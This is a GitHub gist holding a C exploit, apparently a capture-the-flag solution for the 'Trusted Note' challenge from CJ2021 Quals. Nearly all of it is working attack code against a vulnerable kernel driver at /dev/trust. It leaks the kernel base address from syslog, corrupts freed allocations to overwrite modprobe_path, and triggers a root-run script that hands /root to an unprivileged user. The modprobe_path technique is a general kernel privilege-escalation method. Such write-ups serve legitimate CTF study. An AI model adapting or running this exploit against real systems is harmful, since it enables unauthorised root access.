-
-
Save d4em0n/f94ee592ab4cc689cc91c95f7babbc67 to your computer and use it in GitHub Desktop.
CJ2021 Quals: Trusted Note solution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#define _GNU_SOURCE | |
#include <sched.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <fcntl.h> | |
#include <sys/ioctl.h> | |
#include <sys/mman.h> | |
#include <sys/timerfd.h> | |
#include <sys/klog.h> | |
#include <sys/utsname.h> | |
#define SYSLOG_ACTION_READ_ALL 3 | |
#define SYSLOG_ACTION_SIZE_BUFFER 10 | |
int mmap_syslog(char** buffer, int* size) { | |
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); | |
if (*size == -1) { | |
printf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER): %m\n"); | |
return 1; | |
} | |
*size = (*size / getpagesize() + 1) * getpagesize(); | |
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); | |
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); | |
if (*size == -1) { | |
printf("[-] klogctl(SYSLOG_ACTION_READ_ALL): %m\n"); | |
return 1; | |
} | |
return 0; | |
} | |
#define CMD_NEW 0xC2700001 | |
#define CMD_EDIT 0xC2700002 | |
#define CMD_GET 0xC2700003 | |
#define CMD_DELETE 0xC2700004 | |
#define MODPROBE_PATH 10724704 | |
unsigned long kern_base; | |
int fd_trust; | |
typedef struct { | |
size_t idx; | |
size_t size; | |
char *data; | |
} request_t; | |
void cmd_new(size_t idx, size_t size, char* data) { | |
request_t request; | |
request.idx = idx; | |
request.size = size; | |
request.data = data; | |
ioctl(fd_trust, CMD_NEW, &request); | |
} | |
void cmd_edit(size_t idx, size_t size, char* data) { | |
request_t request; | |
request.idx = idx; | |
request.size = size; | |
request.data = data; | |
ioctl(fd_trust, CMD_EDIT, &request); | |
} | |
void cmd_get(size_t idx, size_t size, char* data) { | |
request_t request; | |
request.idx = idx; | |
request.size = size; | |
request.data = data; | |
ioctl(fd_trust, CMD_GET, &request); | |
} | |
void cmd_delete(size_t idx) { | |
request_t request; | |
request.idx = idx; | |
ioctl(fd_trust, CMD_DELETE, &request); | |
} | |
unsigned long kernel_leak(void) { | |
char* syslog; | |
int size; | |
if (mmap_syslog(&syslog, &size)) | |
return 0; | |
char* gs = memmem(syslog, size, "GS:ff", 5); | |
unsigned long kern_leak = strtoul(&gs[3], NULL, 16); | |
unsigned long kern_stext = kern_leak-10698752; | |
printf("%p\n", kern_leak); | |
printf("%p\n", kern_stext); | |
return kern_stext; | |
} | |
void setup(){ | |
FILE* fp = fopen("./y","w"); | |
fwrite("\xff\xff\xff\xff",1,4,fp); | |
fclose(fp); | |
fp = fopen("./x","w"); | |
fputs("#!/bin/sh\nchown -R user:user /root\n",fp); | |
fclose(fp); | |
chmod("./x",0777); | |
chmod("./y",0777); | |
} | |
int main(void) { | |
setup(); | |
fd_trust = open("/dev/trust", O_RDWR); | |
char buf[0x1000]; | |
char zero[0x100]; | |
memset(zero, 0, 0x100); | |
unsigned long fake[2]; | |
int i; | |
cmd_new(0, 0x80000000, "AAAAAAAAAAAAAAAAAAAAAA"); | |
kern_base = kernel_leak(); | |
printf("%p\n", kern_base); | |
printf("modprobe_path %p\n", kern_base+MODPROBE_PATH); | |
getchar(); | |
fake[0] = 0x100; | |
fake[1] = kern_base+MODPROBE_PATH; | |
cmd_new(0, 0x100, zero); | |
cmd_new(1, 0x100, zero); | |
cmd_delete(0); | |
cmd_delete(1); | |
cmd_new(2, 0x10, fake); | |
cmd_edit(0, 16, "/home/user/x"); | |
execve("./y", 0, 0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment